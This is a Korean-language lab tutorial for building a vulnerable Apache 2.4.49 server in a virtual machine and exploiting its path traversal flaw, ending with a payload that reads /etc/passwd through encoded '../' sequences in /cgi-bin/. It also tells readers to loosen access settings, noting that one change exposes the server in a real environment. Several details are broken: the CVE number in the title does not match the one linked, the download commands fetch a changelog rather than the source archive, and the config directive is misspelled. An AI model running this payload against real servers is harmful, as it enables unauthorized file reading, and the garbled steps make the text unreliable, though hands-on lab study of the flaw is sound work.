
가상 머신으로 CVE-2021-4773 취약점을 악용하는 방법에 대한 실습 예제입니다
이것은 가상 머신을 사용하여 취약점 CVE-2021-4773을 익스플로잇하는 방법에 대한 연습 예제입니다.
이 튜토리얼을 위해 필요한 것
자, 시작해봅시다. 두 대의 가상 머신이 실행 중인 상태에서 아카이브 저장소를 사용하여 Apache 버전 2.4.49를 설치할 것입니다. 해당 버전은 여기에서 찾을 수 있습니다. https://archive.apache.org/dist/httpd/CHANGES_2.4.49
1 첫 번째로 서버 가상 머신에서 다음 명령어를 실행해야 합니다.
curl -k -L -s --compressed https://archive.apache.org/dist/httpd/CHANGES_2.4.49 > httpd-2.4.49.tar.bz2 또는 wget https://archive.apache.org/dist/httpd/CHANGES_2.4.49 > httpd-2.4.49.tar.bz2
2 두 번째로 이 Apache 버전의 압축을 다음과 같이 풉니다.
tar -xvjf httpd-2.4.49.tar.bz2
3 다음 패키지들을 설치합니다.
sudo apt install build-essential libpcre3 libpcre3-dev libapr1-dev libaprutil1-dev libssl-dev
4 메인 디렉터리에서 실행 파일(파일 이름 configure)을 실행하며 설치 디렉터리를 지정하는 플래그를 사용합니다.
./configure --prefix=/usr/local/apache2
5 취약한 버전을 컴파일합니다.
make
6 취약한 버전을 설치합니다.
make install
7 버전을 확인합니다.
ls /usr/local/apache2
8 프로세스를 시작합니다.
/usr/local/apache2/bin/apachectl start
9 프로세스를 확인합니다.
ps aux | grep httpd
10 취약점을 구성합니다. /usr/local/apache2/conf/httpd.conf 파일을 찾아 admin 디렉터리를 구성합니다. 디렉터리 태그를 찾아 Require all denied를 다음과 같이 변경합니다.
Required all granted
Files .ht* 태그를 찾아 Require all denied를 다음과 같이 변경합니다.
Required all granted
첫 번째 변경은 로컬 환경에서 취약점을 익스플로잇하기 위한 것이고, 두 번째 변경은 실제 환경에서 노출시키기 위한 것입니다.
1 다음 명령어로 nmap을 사용하여 IP 주소를 스캔합니다.
nmap -sV ip_address
2 curl 또는 wget을 사용하여 Apache 서버를 테스트합니다.
curl ip_address 또는 wget ip_address
3 다음 페이지에서 취약점을 익스플로잇하는 방법을 검토하여 문법을 이해할 수 있습니다.
https://www.picussecurity.com/resource/blog/simulate-apache-cve-2021-41773-exploits-vulnerability
또는 다음 페이로드를 사용하십시오.
http://$host/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd